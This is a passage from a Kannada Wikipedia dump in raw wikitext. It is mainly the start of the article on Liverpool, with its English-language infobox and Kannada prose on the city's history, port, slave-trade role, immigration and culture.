|PLACE OF BIRTH=[[Blenheim Palace]], [[Woodstock, Oxfordshire|Woodstock]],<br />[[Oxfordshire]], England |DATE OF DEATH=24 January 1965 |PLACE OF DEATH=[[Hyde Park Gate]], London, England }} [[ವರ್ಗ:ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್]] 5v0vez6xbt2m09udl9qtq6lgq4fhzpx ಲಿವರ್‌ಪೂಲ್ 0 29786 1116442 1082531 2022-08-23T12:36:53Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox settlement |official_name = Liverpool |nickname = The Pool, The World In One City<ref name=Nicknames>{{Cite news|url=http://www.liv.ac.uk/news/press_releases/2006/07/liverpool800.htm|title=Is Liverpool still the world in one city?|accessdate=2010-05-01}}</ref> |settlement_type = [[Metropolitan borough]] & [[City status in the United Kingdom|City]]<!--For Town or Village (Leave blank for the default City) --> |motto = <!-- images and maps -----------> ||image_skyline = Liverpool Montage.jpg |image_caption = Clockwise from the upper left: the [[Cavern Club]], the ''Three Graces'' of the [[Pier Head]] (the [[Liver Building]], [[Cunard Building]] and [[Port of Liverpool Building]]), the skyline of Liverpool's commercial district, the [[Albert Dock]] and [[St George's Hall, Liverpool|St George's Hall]] |imagesize = 270px |image_blank_emblem = Coat of arms of Liverpool City Council.png |blank_emblem_type = Coat of arms of [[Liverpool City Council]] |blank_emblem_size = 150px |image_map = EnglandLiverpool.png |mapsize = 200 * 247 |map_caption = Location within England <!-- Location ------------------> |coordinates_region = GB |subdivision_type = Sovereign state |subdivision_name = United Kingdom |subdivision_type1 = [[Constituent country]] |subdivision_name1 = [[ಇಂಗ್ಲೆಂಡ್]] |subdivision_type2 = [[Regions of England|Region]] |subdivision_name2 = [[North West England]] |subdivision_type3 = [[Ceremonial counties of England|Ceremonial county]] |subdivision_name3 = [[Merseyside]] |subdivision_type4 = Admin HQ |subdivision_name4 = [[Liverpool City Centre]] <!-- Politics -----------------> |government_footnotes = |government_type = [[Metropolitan borough]], [[City status in the United Kingdom|City]] |leader_title = Governing&nbsp;body |leader_name = [[Liverpool City Council]] |leader_title1 = [[Local government in England#Councillors and mayors|Leadership]]: |leader_name1 = [http://councillors.liverpool.gov.uk/mgCommitteeDetails.aspx?ID=1201 Leader & Cabinet] |leader_title2 = Executive: |leader_name2 = [[Labour Party (UK)|Labour]] |leader_title3 = [http://councillors.liverpool.gov.uk/mgExecPostDetails.aspx?ID=1110 Leader of the City Council] |leader_name3 = Cllr [[Joe Anderson (politician)|Joe Anderson]] ([[Labour Party (UK)|Lab]]) |leader_title4 = [[MPs elected in the United Kingdom general election, 2010|MPs]]: |leader_name4 = [[Steve Rotherham]] ([[Labour Party (UK)|Lab]]),<br />[[Stephen Twigg]] ([[Labour Party (UK)|Lab]]),<br />[[Louise Ellman]] ([[Labour Party (UK)|Lab]]),<br />[[Luciana Berger]] ([[Labour Party (UK)|Lab]]),<br />[[Maria Eagle]] ([[Labour Party (UK)|Lab]]) |established_title = Founded |established_date = 1207 |established_title2 = City Status |established_date2 = 1880 |established_title3 = <!-- Incorporated (city) --> |established_date3 = <!-- Area ---------------------> |area_magnitude = |unit_pref = <!--Enter: Imperial, if Imperial (metric) is desired--> |area_footnotes = |area_total_km2 = 111.84<!-- ALL fields dealing with a measurements are subject to automatic unit conversion--> |area_land_km2 = <!--See table @ Template:Infobox settlement for details on automatic unit conversion--> |area_water_km2 = |area_total_sq_mi = |area_land_sq_mi = |area_water_sq_mi = |area_water_percent = |area_urban_km2 = |area_urban_sq_mi = |area_metro_km2 = |area_metro_sq_mi = |area_blank1_title = |area_blank1_km2 = |area_blank1_sq_mi = <!-- Population -----------------------> |population_as_of = 2007 est / Urban=2006 |population_footnotes = |population_note = |population_total = {{EnglishDistrictPopulation|ONS=00BY}} ([[List of English districts by population|Ranked {{EnglishDistrictRank|ONS=00BY}}]]) |population_density_km2 = 5001 |population_density_sq_mi = |population_metro = 1,103,089 |population_density_metro_km2 = |population_density_metro_sq_mi = |population_urban = 816,900 |population_density_urban_km2 = |population_density_urban_sq_mi = |population_blank1_title = Ethnicity<br /><small>(June 2007 estimates)<ref name=ethnicity/></small> | population_blank1 = {{Collapsible list | title = Ethnic groups | frame_style = border:none; padding: 0; <!--NOTICE: This will hide the borders and make rows closer (padding)--> | title_style = | list_style = text-align:left;display:none; | 1 = '''91.5% [[White people|White]]''' | 2 = 88.2% [[White British]] | 3 = 1.1% [[Irish migration to Great Britain|White Irish]] | 4 = 2.2% [[Other White (United Kingdom ethnicity category)|Other White]] | 5 = &nbsp; | 6 = '''2.0% [[Mixed (United Kingdom ethnicity category)|Mixed]]''' | 7 = 0.6% [[Mixed (United Kingdom ethnicity category)#Mixed Black Caribbean and White|Black Caribbean & White]] | 8 = 0.5% [[Mixed (United Kingdom ethnicity category)#Mixed Black Caribbean and White|Black African & White]] | 9 = 0.4% [[Mixed (United Kingdom ethnicity category)#Mixed South Asian and White|South Asian & White]] | 10 = 0.5% [[Mixed (United Kingdom ethnicity category)|Other Mixed]] | 11 = &nbsp; | 12 = '''2.3% [[British Asian|Asian or Asian British]]''' | 13 = 1.1% [[British Indian|Indian]] | 14 = 0.4% [[British Pakistanis|Pakistani]] | 15 = 0.2% [[British Bangladeshi|Bangladeshi]] | 16 = 0.6% [[British Asian|Other Asian]] | 17 = &nbsp; | 18 = '''1.9% [[Black British|Black or Black British]]''' | 19 = 0.3% [[British African-Caribbean community|Black Caribbean]] | 20 = 1.3% [[Black British|Black African]] | 21 = 0.3% [[Other Black (United Kingdom ethnicity category)|Other Black]] | 22 = &nbsp; | 23 = '''2.3% [[Classification of ethnicity in the United Kingdom|Chinese or Other]]''' | 24 = 1.7% [[British Chinese|Chinese]] | 25 = 0.6% [[Classification of ethnicity in the United Kingdom|Other]]}} |population_density_blank1_km2 = |population_density_blank1_sq_mi = |blank4_name = [[Demonym]] |blank4_info = [[Scouser]]/[[Liverpudlian]] <!-- General information ---------------> |timezone = [[Greenwich Mean Time]] |utc_offset = +0 |timezone_DST = [[British Summer Time]] |utc_offset_DST = +1 |latd=53 |latm=24 |lats= |latNS=N |longd=2 |longm=59 |longs= |longEW=W |elevation_footnotes = <!--for references: use tags--> |elevation_m = |elevation_ft =230 <!-- Area/postal codes & others --------> |postal_code_type = Postal Code |postal_code = [[L postcode area]] |area_code = 0151 |blank_name = [[ISO 3166-2:GB|ISO 3166-2]] |blank_info = GB-LIV |blank1_name = [[ONS coding system|ONS code]] |blank1_info = 00BY |blank2_name = [[British national grid reference system|OS grid reference]] |blank2_info = {{gbmappingsmall|SJ3490}} |blank3_name = [[Nomenclature of Territorial Units for Statistics|NUTS]] 3 |blank3_info = UKD52 |website = [http://www.liverpool.gov.uk/ http://www.liverpool.gov.uk/] |footnotes = }} [[File:Opening Liverpool and Manchester Railway.jpg|thumb|1830ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದ ಲಿವರ್‌ಪೂಲ್ ಮತ್ತು ಮ್ಯಾಂಚೆಸ್ಟರ್ ರೈಲ್ವೆಯ ಉದ್ಘಾಟನಾ ಪ್ರಯಾಣ. ಇದು ಮೊಟ್ಟಮೊದಲ ವಾಣಿಜ್ಯ ರೈಲು ರಸ್ತೆಯಾಗಿದೆ.]] [[File:20 forthlin road.jpg|thumb|right|20 ಫೋರ್ಥ್‌ಲಿನ್ ರೋಡ್ ಇದು ದಿ ಬೀಟ್ಲ್ಸ್‌ಗೆ ಸೇರಿದ ಒಂದು ಬಹುಮುಖ್ಯ ಪ್ರವಾಸಿ ತಾಣವಾಗಿದೆ.]] '''ಲಿವರ್‌ಪೂಲ್''' ({{IPAc-en|icon|ˈ|l|ɪ|v|ɚ|p|uː|l}}) ಇದು ಮರ್ಸಿಸೈಡ್, ಇಂಗ್ಲೆಂಡ್‌ನ ಒಂದು [[ನಗರ]] ಮತ್ತು ಮಹಾನಗರ ಆಡಳಿತ ಪ್ರದೇಶವಾಗಿದೆ. ಇದು ಮರ್ಸಿ ಎಸ್ಟುರಿಯ [[ಪೂರ್ವ]] ಭಾಗದಲ್ಲಿ ವ್ಯಾಪಿತವಾಗಿದೆ. 1207 ರಲ್ಲಿ ಇದು ಒಂದು ಆಡಳಿತ ಪ್ರದೇಶವಾಗಿ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿತು ಮತ್ತು 1880 ರಲ್ಲಿ ನಗರದ ಮಾನ್ಯತೆಯನ್ನು ನೀಡಲ್ಪಟ್ಟಿತು. 435,500 ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿರುವ ಲಿವರ್‌ಪೂಲ್ ಇದು [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌]]ನ ನಾಲ್ಕನೆಯ ಅತ್ಯಂತ ದೊಡ್ಡ ನಗರ ವಾಗಿದೆ (ಇಂಗ್ಲೆಂಡ್‌ನಲ್ಲಿನ ಮೂರನೆಯ ಅತ್ಯಂತ ದೊಡ್ಡ ನಗರ), ಮತ್ತು 816,216 ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿರುವ ವಿಸ್ತೃತ ಲಿವರ‍್ಪೂಲ್ ಅರ್ಬನ್ ಏರಿಯಾ (ಲಿವರ್‌ಪೂಲ್ ನಗರ ಪ್ರದೇಶ) ದ ಕೇಂದ್ರಭಾಗದಲ್ಲಿ ಇದೆ.<ref>{{Cite web|title= Key Statistics for urban areas in the North – Contents, Introduction, Tables KS01 – KS08 |publisher = Office for National Statistics |url=http://www.statistics.gov.uk/downloads/census2001/ks_urban_north_part_1.pdf |accessdate=2010-01-28|archiveurl=http://webarchive.nationalarchives.gov.uk/20040724074938/http://www.statistics.gov.uk/downloads/census2001/ks_urban_north_part_1.pdf|archivedate=2004-07-24}}</ref> ಐತಿಹಾಸಿಕವಾಗಿ ಲ್ಯಾಂಕ್‌ಶೈರ್‌ನ ಒಂದು ಭಾಗ. ನಗರೀಕರಣ ಮತ್ತು ಲಿವರ‍್ಪೂಲ್‌ನ ವಿಸ್ತರಣೆ ಇವೆರಡು ನಗರಕೆ ಒಂದು ಬಂದರಿನ ಮಾನ್ಯತೆಯನ್ನು ತಂದುಕೊಟ್ಟಿವೆ. 18 ನೆಯ ಶತಮಾನದ ವೇಳೆಗೆ, ಅಟ್ಲಾಂಟಿಕ್ ಸ್ಲೇವ್ ಟ್ರೇಡ್ (ಅಟ್ಲಾಂಟಿಕ್ ಗುಲಾಮರ ವ್ಯಾಪಾರ)ನ ಜೊತೆಗಿನ ನಿಕಟ ಸಂಬಂಧಗಳನ್ನು ಹೊಂದಿದ ವೆಸ್ಟ್ ಇಂಡೀಸ್, [[ಐರ್ಲೆಂಡ್]] ಮತ್ತು ಮೇನ್‌ಲ್ಯಾಂಡ್ ಯುರೋಪ್‌ನಿಂದ ವ್ಯಾಪಾರಗಳು ಲಿವರ್‌ಪೂಲ್‌ನ ಆರ್ಥಿಕ ವಿಸ್ತರಣೆಯನ್ನು ಇನ್ನೂ ವರ್ಧಿಸಿದವು. 19 ನೆಯ ಶತಮಾನದ ಪ್ರಾರಂಭದ ವೇಳೆಗೆ, ಜಗತ್ತಿನ ವಾಣಿಜ್ಯದ 40% ವು ಲಿವರ್‌ಪೂಲ್ ಬಂದರುಗಳ ಮೂಲಕ ರವಾನೆಯಾಗಲ್ಪಡುತ್ತಿತ್ತು. ಇದು ಲಿವರ್‌ಪೂಲ್ ಒಂದು ಪ್ರಮುಖ ನಗರವಾಗಿ ಬೆಳೆವಣಿಗೆ ಹೊಂದುವುದಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಲಿವರ್‌ಪೂಲ್‌ನ ಆವಾಸಿಗಳು '''ಲಿವರ್‌ಪ್ಯೂಡ್ಲಿಯನ್ಸ್''' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಡುತ್ತಾರೆ. ಆದರೆ ಸ್ಟ್ಯೂ(ಬಿಸಿ ನೀರಿನಲ್ಲಿ ಮಾಡಿದ ಮಾಂಸದ ಭಕ್ಷ್ಯ)ನ ಒಂದು ವಿಧವಾದ ಸ್ಥಳೀಯ ಭಾಷೆಯಲ್ಲಿ "ಸ್ಕೌಸ್" ಎಂದು ಕರೆಯಲ್ಪಡುವ ಆಹಾರಕ್ಕೆ ಉಲ್ಲೇಖಿಸುತ್ತ ಆಡುಮಾತಿನಲ್ಲಿ "ಸ್ಕೌಸರ್ಸ್" ಎಂದೂ ಕರೆಯಲ್ಪಡುತ್ತಾರೆ. "ಸ್ಕೌಸ್" ಎಂಬ ಶಬ್ದವು ಲಿವರ್‌ಪೂಲ್‌ನ ಉಚ್ಚಾರಣೆ ಮತ್ತು ಪ್ರಾಂತಭಾಷೆಗಳ ಸಮಾನಾರ್ಥವಾಗಿ ಬಳಸಲ್ಪಡುತ್ತದೆ.<ref> ಹಲವಾರು ಜನರು ತಾವು ಅಲ್ಲಿ ಹುಟ್ಟದೇ ಅಥವಾ ಆ ನಗರದಲ್ಲಿ ವಾಸಮಾಡದೇ ತಮ್ಮನ್ನು ಲಿವರ್‌ಪೂಲ್‌ನವರು ಅಥವಾ ಸ್ಕೌಸರ್‌ಗಳು ಎಂದು ಕರೆದುಕೊಳ್ಳುತ್ತಾರೆ. ಮರ್ಸಿಸೈಡ್ ಪ್ರದೇಶದ ಸುತ್ತಮುತ್ತಲಿರುವ ಹಲವಾರು ಜನರು ತಮ್ಮನ್ನು ಹಾಗೆ ಭಾವಿಸುತ್ತಾರೆ. ಅಲ್ಲದೆ ಹಲವಾರು ಜನ ಇದನ್ನು ವಿರೋಧಿಸುತ್ತಾರೆ ಕೂಡ. ಇದಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ ಕೆಲವು ಸಂಖ್ಯೆಯ ಜನರು ತಾವು ಲಿವರ್‌ಪೂಲ್‌ನವರಲ್ಲ ತಾವು ಸ್ಕೌಸರ್‌ಗಳಲ್ಲ ಎಂಬುದನ್ನು ಹೇಳುತ್ತಾರೆ.</ref> ಒಂದು ಬಂದರು ನಗರವಾಗಿ ಲಿವರ್‌ಪೂಲ್‌ನ ಮಾನ್ಯತೆಯು ಇದರ ವಿಭಿನನ್ವಾದ ಜನಸಂಖ್ಯೆಯ ಒಂದು ಕಾರಣವಾಗಿದೆ. ಇವು ಐತಿಹಾಸಿಕವಾಗಿ, ವ್ಯಾಪಕ ವಿಧದ ಜನರು, ಸಂಸ್ಕೃತಿಗಳು, ಮತ್ತು ಧರ್ಮಗಳಿಂದ ನಿರ್ಮಾಣವಾಗಲ್ಪಟ್ಟಿದೆ. ಅದರಲ್ಲೂ ಮುಖ್ಯವಾಗಿ ಐರ್ಲೆಂಡ್‌ನಿಂದ ಬಂದ ಜನರಿಂದ ಆವರಿಸಿಕೊಳ್ಳಲ್ಪಟ್ಟಿದೆ. ಈ ನಗರವು ದೇಶದಲ್ಲಿನ ಅತ್ಯಂತ ಹಳೆಯದಾದ ಬ್ಲ್ಯಾಕ್ ಆಫ್ರಿಕನ್ (ಕಪ್ಪು ಆಫ್ರಿಕನ್) ಸಮುದಾಯದ ಮತ್ತು ಯುರೋಪ್‌ನಲ್ಲಿನ ಅತ್ಯಂತ ಹಳೆಯ ಚೈನೀಸ್ ಸಮುದಾಯದ ಆವಾಸ ಸ್ಥಾನವಾಗಿದೆ. [[ದಿ ಬೀಟಲ್ಸ್|ದ ಬೀಟಲ್ಸ್‌]]ನ ಮತ್ತು ಮರ್ಸಿಬೀಟ್ ವಿಭಾಗದ ಇತರ ಗುಂಪುಗಳು ಲಿವರ್‌ಪೂಲ್ ಅನ್ನು ಒಂದು ಪ್ರವಾಸಿ ತಾಣವಾಗಿ ಬೆಳೆಸುವುದಕ್ಕೆ ಕಾರಣವಾದವು; ಪ್ರವಾಸೋದ್ಯಮವು ನಗರದ ಆಧುನಿಕ ಅರ್ಥವ್ಯವಸ್ಥೆಯ ಒಂದು ಗಮನಾರ್ಹವಾದ ಭಾಗವಾಗಿದೆ. ನಗರವು 2007 ರಲ್ಲಿ ತನ್ನ 800 ನೆಯ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿಕೊಂಡಿತು, ಮತ್ತು ಇದು 2008 ರಲ್ಲಿ ಸ್ಟ್ಯಾವೆಂಜರ್, ನಾರ್ವೇ ಜೊತೆಗೆ ಯುರೋಪಿಯನ್ ಕ್ಯಾಪಿಟಲ್ ಆಫ್ ಕಲ್ಚರ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿತು.<ref>{{Cite web|url=http://ec.europa.eu/ culture/ pdf/ doc1155_en.pdf|format=PDF|title=Report on the Nominations from the UK and Norway for the European Capital of Culture 2008|accessdate=2008-07-11}}</ref> ನಗರ ಕೇಂದ್ರದ ಹಲವಾರು ಪ್ರದೇಶಗಳು 2004 ರಲ್ಲಿ [[ವಿಶ್ವಸಂಸ್ಥೆಯ ಶೈಕ್ಷಣಿಕ, ವೈಜ್ಞಾನಿಕ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಆಯೋಗ|ಯುನೆಸ್ಕೋ]] (UNESCO) ದಿಂದ [[ವಿಶ್ವ ಪರಂಪರೆಯ ತಾಣ|ವರ್ಲ್ಡ್ ಹೆರಿಟೇಜ್ ಸೈಟ್]]ಮಾನ್ಯತೆಯನ್ನು ನೀಡಲ್ಪಟ್ಟಿವೆ. ಲಿವರ್‌ಪೂಲ್ ಮ್ಯಾರಿಟೈಮ್ ಮರ್ಕಂಟೈಲ್ ಎಂಬುದಾಗಿ ಉಲ್ಲೇಖಿಸಲ್ಪಡುವ ಈ ತಾಣವು ಪಿಯರ್ ಹೆಡ್, ಅಲ್ಬರ್ಟ್ ಡಾಕ್ ಮತ್ತು ವಿಲಿಯಮ್ ಬ್ರೌನ್ ಸ್ಟ್ರೀಟ್ ಅನ್ನು ಒಳಗೊಂಡಂತೆ ಆರು ಪ್ರತ್ಯೇಕ ತಾಣಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ ಮತ್ತು ನಗರದ ಹೆಚ್ಚು ಜನಪ್ರಿಯವಾದ ಗಡಿ ಗುರುತುಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ.<ref>{{Cite web|title=Liverpool – Maritime Mercantile City |publisher=UK Local Authority World Heritage Forum |url=http://www. lawhf.gov.uk/ LAWHF/ liverpool.htm |accessdate=2008-10-09 |archiveurl = https://web.archive.org/web/20080423041054/http://www.lawhf.gov.uk/LAWHF/liverpool.htm <!-- Bot retrieved archive --> |archivedate = 2008-04-23}}</ref> ಲಿವರ್‌ಪೂಲ್ ಎರಡು [[ಪ್ರೀಮಿಯರ್‌ ಲೀಗ್‌‌|ಪ್ರೀಮಿಯರ್ ಲೀ]]ಗ್ ಫುಟ್‌ಬಾಲ್ ಕ್ಲಬ್‌ಗಳಾದ ಲಿವರ್‌ಪೂಲ್ ಎಫ್.ಸಿ. ಮತ್ತು ಎವೆರ್ಟನ್ ಎಫ್.ಸಿ. ಗಳ ತಾಣವಾಗಿದೆ. ಈ ಎರಡು ಕ್ಲಬ್‌ಗಳ ನಡುವಣ ಪಂದ್ಯಗಳು ಮರ್ಸಿಸೈಡ್ ಡರ್ಬಿ ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಡುತ್ತವೆ. ==ಇತಿಹಾಸ== {{Ref improve section|date=January 2010}} {{Main|History of Liverpool}} [[File:Liverpoolmap 1947.jpg|thumb|left|1947ರ ಲಿವರ್ ಪೂಲ್ ನಕಾಶೆ]] [[File:Original 7 streets of Liverpool.jpg|thumb|right|ಲಿವರ್‌ಪೂಲ್‌ನ ಏಳು ಮೂಲ ರಸ್ತೆಗಳು (ಉತ್ತರದಿಂದ ಎಡಕ್ಕೆ)]] ಕಿಂಗ್ ಜಾನ್‌ರ 1207 ರ ಪತ್ರಗಳ ಏಕಸ್ವಾಮ್ಯವು ಲಿವರ್‌ಪೂಲ್‌ನ ಆಡಳಿತ ಪ್ರದೇಶದ ಅಡಿಪಾಯವು ಘೋಷಿಸಲ್ಪಟ್ಟಿತು, ಆದರೆ ನೆಯ ಶತಮಾನದ ಮಧ್ಯದ ವೇಳೆಗೆ ಜನಸಂಖ್ಯೆಯು ಕೇವಲ 500 ಇತ್ತು. ಲಿವರ್‌ಪೂಲ್‌ನ ಮೂಲ ಸ್ಟ್ರೀಟ್ ಯೋಜನೆಯು ಇದನ್ನು ಒಂದು ಆಡಳಿತ ಪ್ರದೇಶವಾಗಿ ಮಾಡುವುದಕ್ಕೆ ಒಂದು ರಾಯಲ್ ಶಾಸನವು ಜಾರಿಗೊಳಿಸಲ್ಪಟ್ಟ ಸಮಯದಲ್ಲಿಯೇ ಕಿಂಗ್ ಜಾನ್‌ರಿಂದ ವಿನ್ಯಾಸಗೊಳಿಸಲ್ಪಟ್ಟಿತ್ತು ಎಂಬುದಾಗಿ ಹೇಳಲಾಗುತ್ತದೆ. ಮೂಲ ಏಳು ಸ್ಟ್ರೀಟ್‌ಗಳು ಎಚ್ ಆಕಾರದಲ್ಲಿ ಇರಿಸಲ್ಪಟ್ಟಿವೆ: * ಬ್ಯಾಂಕ್ ಸ್ಟ್ರೀಟ್ (ಪ್ರಸ್ತುತದಲ್ಲಿ ವಾಟರ್ ಸ್ಟ್ರೀಟ್ ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತದೆ) * ಕ್ಯಾಸಲ್ ಸ್ಟ್ರೀಟ್ * ಚಾಪೆಲ್ ಸ್ಟ್ರೀಟ್ * ಡೇಲ್ ಸ್ಟ್ರೀಟ್ * ಜಗ್ಲರ್ ಸ್ಟ್ರೀಟ್ (ಪ್ರಸ್ತುತದ ಹೈ ಸ್ಟ್ರೀಟ್) * ಮೂರ್ ಸ್ಟ್ರೀಟ್ (ಪ್ರಸ್ತುತದ ತೈತೆಬರ್ನ್ ಸ್ಟ್ರೀಟ್) * ವೈಟ್‌ಏಕರ್ ಸ್ಟ್ರೀಟ್ (ಪ್ರಸ್ತುತದ ಓಲ್ಡ್ ಹಾಲ್ ಸ್ಟ್ರೀಟ್) 17 ನೆಯ ಶತಮಾನದಲ್ಲಿ ಅಲ್ಲಿ ವ್ಯಾಪಾರ ಮತ್ತು ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ನಿಧಾಗತಿಯಲ್ಲಿ ಅಭಿವೃದ್ಧಿಯು ಕಂಡು ಬಂದಿತು. 1644 ರಲ್ಲಿ ಹದಿನೆಂಟು-ದಿನಗಳ ವಶಪಡಿಸಿಕೊಳ್ಳುವಿಕೆಯನ್ನು ಒಳಗೊಂಡಂತೆ ಇಂಗ್ಲೀಷ್ ಸಿವಿಲ್ ವಾರ್‌ನ ಸಮಯದಲ್ಲಿ ನಗರಕ್ಕಾಗಿ ಯುದ್ಧಗಳು ಸಂಭವಿಸಲ್ಪಟ್ಟವು. 1699 ರಲ್ಲಿ ಲಿವರ‍್ಪೂಲ್ ಸಂಸತ್ತಿನ ಶಾಸನದ ಮೂಲಕ ಪಾದ್ರಿಯಾಡಳಿತ ಪ್ರದೇಶವಾಗಿ ಮಾಡಲ್ಪಟ್ಟಿತು. ಅದೇ ವರ್ಷದಲ್ಲಿ ಇದರ ಮೊದಲ ಗುಲಾಮಿ ಹಡಗು ''ಲಿವರ್‌ಪೂಲ್ ಮರ್ಚೆಂಟ್'' ಆಫ್ರಿಕಾಕ್ಕೆ ಸಾಗಲ್ಪಟ್ಟಿತು. ವ್ಯಾಪಾರವು ವೆಸ್ಟ್ ಇಂಡೀಸ್‌ನಿಂದ ಐರ್ಲೆಂಡ್ ಮತ್ತು ಯುರೋಪ್‌ಗೆ ಸಾಗಿದಂತೆ, ಮತ್ತು ರಿವರ್ ಡೀ ಹೂಳು ತುಂಬಿಕೊಂಡಂತೆ, ಲಿವರ್‌ಪೂಲ್ ಅಭಿವೃದ್ಧಿ ಹೊಂದುವುದಕ್ಕೆ ಪ್ರಾರಂಭಿಸಿತು. ಮೊದಲ ವಾಣಿಜ್ಯ ವೆಟ್ ಡಾಕ್ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ 1715 ರಲ್ಲಿ ಸ್ಥಾಪಿತಗೊಳ್ಳಲ್ಪಟ್ಟಿತು.<ref>{{Cite web|title=The Lost Dock of Liverpool |publisher=Channel 4: Time Team, 21 April 2008 |url=http://www.channel4.com/history/microsites/T/timeteam/2008/liverpool/liverpool-found.html |accessdate =2008-06-02}}</ref><ref>{{Cite news|title=Liverpool Dock System |publisher=''New York Times'', 2 January 1898 |url=http://query.nytimes.com/gst/abstract.html?res=9C07EFD91039E433A25751C0A9679C94699ED7CF |accessdate=2008-06-02 | date=1898-01-02}} Note: "pdf" reader needed to see full article</ref> ಗುಲಾಮರ ಮಾರಾಟದಿಂದ ಬಂದ ಗಣನೀಯ ಪ್ರಮಾಣದ ಆದಾಯಗಳು ನಗರವನ್ನು ಸಂಪದ್ಭರಿತವಾಗಿಸುವುದಕ್ಕೆ ಮತ್ತು ತ್ವರಿತವಾಗಿ ಅಭಿವೃದ್ಧಿ ಹೊಂದುವುದಕ್ಕೆ ಸಹಾಯ ಮಾಡಿದವು. ಶತಮಾನದ ಕೊನೆಯ ವೇಳೆಗೆ ಲಿವರ್‌ಪೂಲ್ ಗುಲಾಮಿ ವ್ಯಾಪಾರದ ಯುರೋಪ್‌ನ 41% ಮತ್ತು ಬ್ರಿಟನ್‌ನ 80% ಅನ್ನು ನಿಯಂತ್ರಿಸುವ ಮಟ್ಟಕ್ಕೆ ಬೆಳೆಯಿತು. ೧೮ ನೆಯ ಶತಮಾನದ ಪ್ರಾರಂಭದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಅಂಟಾರ್ಟಿಕ್ ಸೀಲಿಂಗ್ ಉದ್ದಿಮೆಯಲ್ಲಿ ಮಹತ್ವದ ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಿತು, ಅದರ ಒಂದು ಗೌರವವಾಗಿ ದಕ್ಷಿಣ ಶೆಟ್‌ಲ್ಯಾಂಡ್ ದ್ವೀಪಗಳಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಬೀಚ್ ಎಂಬ ಹೆಸರು ನೀಡಲ್ಪಟ್ಟಿತು.<ref>[http://data.aad.gov.au/aadc/gaz/scar/display_name.cfm?gaz_id=137191 ಲಿವರ್‌ಪೂಲ್ ಬೀಚ್] SCAR ಕಾಂಪೋಸಿಟ್ ಗೆಜೆಟಿಯರ್ ಆಫ್ ಅಂಟಾರ್ಟಿಕಾ.</ref> 19 ನೆಯ ಶತಮಾನದ ಪ್ರಾರಂಭದ ವೇಳೆಗೆ, ಜಾಗತಿಕ ವ್ಯಾಪಾರದ 40% ವು ಲಿವರ್‌ಪೂಲ್ ಮೂಲಕ ಹಾದುಹೋಗಲ್ಪಟ್ಟಿತು ಮತ್ತು ಪ್ರಮುಖ ಕಟ್ಟಡಗಳ ನಿರ್ಮಾಣವು ಇದರ ಸಂಪತ್ತನ್ನು ಪ್ರತಿನಿಧಿಸಿತು. 1830 ರಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ ಮತ್ತು [[ಮ್ಯಾಂಚೆಸ್ಟರ್]] ನಗರಗಳು ಲಿವರ್‌ಪೂಲ್ ಮತ್ತು ಮ್ಯಾಂಚೆಸ್ಟರ್ ರೈಲ್ವೇ ಮೂಲಕ ಅಂತರ್-ನಗರ ರೈಲ್ ಲಿಂಕ್ ಅನ್ನು ಹೊಂದುವಲ್ಲಿ ಮೊದಲ ಸ್ಥಾನವನ್ನು ಪಡೆದುಕೊಂಡವು. ಪ್ರಮುಖವಾಗಿ 1840 ರ ದಶಕಗಳಲ್ಲಿ ಬೃಹತ್ ಕ್ಷಾಮದ ಕಾರಣದಿಂದಾಗಿ ಐರಿಷ್ ವಲಸಿಗರು ನೂರಾರು ಸಾವಿರ ಸಂಖ್ಯೆಯಲ್ಲಿ ವಲಸೆ ಬರುವುದಕ್ಕೆ ಪ್ರಾರಂಭಿಸಿದ ಸಮಯದಲ್ಲಿ ಜನಸಂಖ್ಯೆಯು ಏರುವುದು ತ್ವರಿತವಾಗಿ ಮುಂದುವರೆಯಿತು. 1851 ರ ವೇಳೆಗೆ, ನಗರದ ಜನಸಂಖ್ಯೆಯ ಸರಿಸುಮಾರು 25% ವು ಐರಿಷ್-ಮೂಲವನ್ನು ಹೊಂದಿತ್ತು. 20 ನೆಯ ಶತಮಾನದ ಮೊದಲಾರ್ಧದ ಸಮಯದಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ ಯುರೋಪ್‌ನಿಂದಲೂ ಬಂದ ವಲಸಿಗರನ್ನು ಹೊಂದಿತ್ತು. ===20ನೆಯ ಶತಮಾನ=== [[File:RMS Titanic 3.jpg|thumb|left|ಲಿವರ್‌ಪೂಲ್ ಇದು ದುರದೃಷ್ಟ ಟೈಟಾನಿಕ್ ಹಡಗಿನ ದಾಖಲಿತ ಬಂದರು ಆಗಿದೆ.ಲಿವರ್‌ಪೂಲ್ ಮತ್ತು ಟೈಟಾನಿಕ್ ಶಬ್ಧಗಳು ಜೊತೆ ಜೊತೆಯ ಶಬ್ಧಗಳಾಗಿವೆ. ಏಪ್ರಿಲ್ 1912ರಂದು ಸುಮಾರು 1,517ಜನ ಪ್ರಯಾಣಿಕರ ಜೀವ ತೆಗೆದ ಹಡಗನ್ನು ನೆನಪಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. (ಹಲವಾರು ಲಿವರ್‌ಪೂಲ್ ನಿವಾಸಿಗಳೂ ಕೂಡ ಇದರಲ್ಲಿ ಪ್ರಾಣ 